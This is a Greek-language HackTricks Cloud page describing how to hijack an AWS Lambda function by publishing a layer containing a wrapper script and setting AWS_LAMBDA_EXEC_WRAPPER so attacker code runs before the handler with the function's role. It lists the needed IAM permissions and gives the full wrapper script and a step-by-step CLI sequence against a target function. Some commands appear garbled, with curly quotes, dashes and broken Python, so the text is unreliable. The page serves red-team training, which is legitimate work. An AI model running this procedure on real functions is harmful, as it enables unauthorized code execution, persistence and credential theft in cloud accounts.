AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Περίληψη
Καταχραστείτε τη μεταβλητή περιβάλλοντος AWS_LAMBDA_EXEC_WRAPPER για να εκτελέσετε ένα wrapper script υπό τον έλεγχο του επιτιθέμενου πριν ξεκινήσει το runtime/handler. Παραδώστε το wrapper μέσω ενός Lambda Layer στο /opt/bin/htwrap, ορίστε AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, και καλέστε τη συνάρτηση. Το wrapper τρέχει μέσα στη διεργασία runtime της συνάρτησης, κληρονομεί τον ρόλο εκτέλεσης της συνάρτησης και στο τέλος κάνει exec στο πραγματικό runtime ώστε ο αρχικός handler να εκτελεστεί κανονικά.
Warning
Αυτή η τεχνική παρέχει εκτέλεση κώδικα στο στοχευόμενο Lambda χωρίς να τροποποιεί τον πηγαίο κώδικα ή τον role και χωρίς να απαιτεί
iam:PassRole. Χρειάζεστε μόνο τη δυνατότητα να ενημερώσετε τη διαμόρφωση της συνάρτησης και να δημοσιεύσετε/επισυνάψετε ένα layer.
Απαιτούμενα Δικαιώματα (επιτιθέμενος)
lambda:UpdateFunctionConfigurationlambda:GetFunctionConfigurationlambda:InvokeFunction(ή ενεργοποίηση μέσω υπάρχοντος event)lambda:ListFunctions,lambda:ListLayerslambda:PublishLayerVersion(ίδιο account) και προαιρετικάlambda:AddLayerVersionPermissionεάν χρησιμοποιείτε cross-account/public layer
Wrapper Script
Τοποθετήστε το wrapper στο /opt/bin/htwrap μέσα στο layer. Μπορεί να τρέχει λογική πριν τον handler και πρέπει να τελειώνει με exec "$@" για να αλυσιδωθεί στο πραγματικό runtime.
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
Βήματα επίθεσης (CLI)
Δημοσίευση layer, επισύναψη στη function-στόχο, ορισμός wrapper, invoke
```bash # Vars REGION=us-east-1 TARGET_FN=1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin cat > layer/bin/htwrap <<‘WRAP’ #!/bin/bash set -euo pipefail echo “[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION” python3 - <<‘PY’ import boto3, json print(‘[ht] sts identity:’, import(‘json’).dumps(import(‘boto3’).client(‘sts’).get_caller_identity())) PY exec “$@” WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)
2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version
–layer-name ht-exec-wrapper
–zip-file fileb://htwrap-layer.zip
–compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
–query LayerVersionArn –output text –region “$REGION”)
echo “$LAYER_ARN”
3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration
–function-name “$TARGET_FN”
–layers “$LAYER_ARN”
–environment “Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}”
–region “$REGION”
Wait for update to finish
until [ “$(aws lambda get-function-configuration –function-name “$TARGET_FN” –query LastUpdateStatus –output text –region “$REGION”)“ = “Successful” ]; do sleep 2; done
4) Invoke and verify via CloudWatch Logs
aws lambda invoke –function-name “$TARGET_FN” /tmp/out.json –region “$REGION” >/dev/null aws logs filter-log-events –log-group-name “/aws/lambda/$TARGET_FN” –limit 50 –region “$REGION” –query ‘events[].message’ –output text
</details>
## Επιπτώσεις
- Pre-handler code execution στο runtime context του Lambda χρησιμοποιώντας το υπάρχον execution role της function.
- Δεν απαιτούνται αλλαγές στο function code ή στο role· λειτουργεί σε κοινά managed runtimes (Python, Node.js, Java, .NET).
- Επιτρέπει persistence, credential access (π.χ. STS), data exfiltration και runtime tampering πριν εκτελεστεί ο handler.
> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Δείτε τα [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή την [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

